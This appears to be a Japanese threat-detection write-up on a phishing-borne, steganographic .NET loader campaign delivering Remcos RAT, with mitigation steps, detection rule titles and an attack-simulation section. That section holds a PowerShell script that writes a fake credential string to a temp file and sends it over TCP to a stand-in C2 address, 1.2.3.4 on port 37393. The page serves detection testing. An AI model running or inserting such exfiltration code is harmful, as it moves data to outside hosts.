多段階ステガノグラフィックローダーキャンペーンで多様なペイロードを全世界に配信
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
マルチステージのマルウェアキャンペーンは、ステガノグラフィとインメモリ実行を利用して、Remcos RATを含む複数のペイロードを配信します。感染の連鎖は、.NET実行ファイルをドロップする悪意のあるアーカイブを含んだフィッシングメールから始まります。その実行ファイルは、埋め込まれたリソースとステガノグラフ法を使用して、後続の段階を直接メモリにロードし、マルウェアがディスクベースの検出を回避するのを助けます。
調査
調査は、テレメトリが GST Debit Note Apr_26.comという名前の不審なファイルをフラグした後に始まりました。アナリストは、そのファイルがゲームに偽装された32ビット.NET実行ファイルであることを確認しました。さらなる逆アセンブリにより、次のステージのローダーを隠す.NETビットマップオブジェクトに埋め込まれたステガノグラフィが明らかになり、 Optimax.dllがメモリ内で完全に実行されるのが確認されました。
緩和策
組織は、疑わしいアーカイブの添付ファイルやフィッシング試行をブロックするために強力なメールフィルタリングを展開すべきです。EDRソリューションは、インメモリ実行、プロセスホロー、疑わしいPowerShell動作を検出できることが求められます。また、チームは特にRunキーでの不正なレジストリ変更を監視し、署名されていない実行ファイルの起動を防ぐために厳格なアプリケーションコントロールを強制するべきです。
対応策
影響を受けたエンドポイントは、側方移動とデータ窃盗を制限するために直ちに隔離されるべきです。調査者はファイルレスコンポーネントを特定し、 Remcos_Mutex_Inj ミューテックスの存在を確認するためにメモリフォレンジックを実行するべきです。完全なスイープもまた、 AppData ディレクトリとレジストリのRunキーにおける不正な持続性を確認し、マルウェアがアクセスした可能性のあるユーザーのブラウザアカウントの資格情報をリセットするべきです。
攻撃フロー
検出
Powershell経由での疑わしい.NETメソッドの呼び出し
表示
可能な持続性ポイント [ASEPs – ソフトウェア/NTUSERハイブ](レジストリイベント経由)
表示
隠れたPowerShellコマンドラインを通じた実行の可能性(cmdline経由)
表示
可能なPowerShell混乱の兆候(Powershell経由)
表示
コマンド&コントロールへのデータの流出 [Windowsネットワーク接続]
表示
ステガノグラフィックローダーキャンペーン内での混乱したPowerShellスクリプトの実行 [Windows PowerShell]
表示
ステガノグラフィックおよびファイルレス技術を介したRemcos RAT感染の検出 [Windowsプロセス作成]
表示
シミュレーションの実行
前提条件: テレメトリとベースラインの事前飛行チェックが合格していること。
根拠: このセクションは、検出ルールをトリガーするように設計された敵対技術(TTP)の正確な実行を詳述しています。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を招きます。
-
攻撃の物語とコマンド: 敵対者は足場を確立しました。目標を達成するために、システムテレメトリを収集し、標準システムログに偽装した
logs.datという名前のファイルにそれを隠しています。その後、ネットワーク接続を開始し、設立されたC2インフラストラクチャ(このシミュレーションのためにIP1.2.3.4とポート37393を使用)にデータを密かに送信します。これは、特定のハードコードされたチャネルを通じてネットワークからデータを移動しようとするステガノグラフィックローダーの動作を模倣しています。 -
回帰テストスクリプト:
# 特定のファイル名およびC2パラメータによるデータ流出のシミュレーション $C2_IP = "1.2.3.4" # シミュレーションのC2 IP $C2_PORT = 37393 $FILENAME = "logs.dat" # 1. '悪意ある'データファイルを作成する Write-Output "Sensitive Data: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME" # 2. C2へのネットワーク接続をシミュレートする # TCPクライアントを使用して特定のポート/IPテレメトリを強制する try { $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT) $stream = $client.GetStream() $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME")) $stream.Write($data, 0, $data.Length) $client.Close() } catch { Write-Host "接続が失敗しました (IPが存在しない場合に予想される) が、テレメトリはファイアウォールによって捕捉されるはずです。" } -
クリーンアップコマンド:
# シミュレートされた悪意のあるファイルを削除する Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue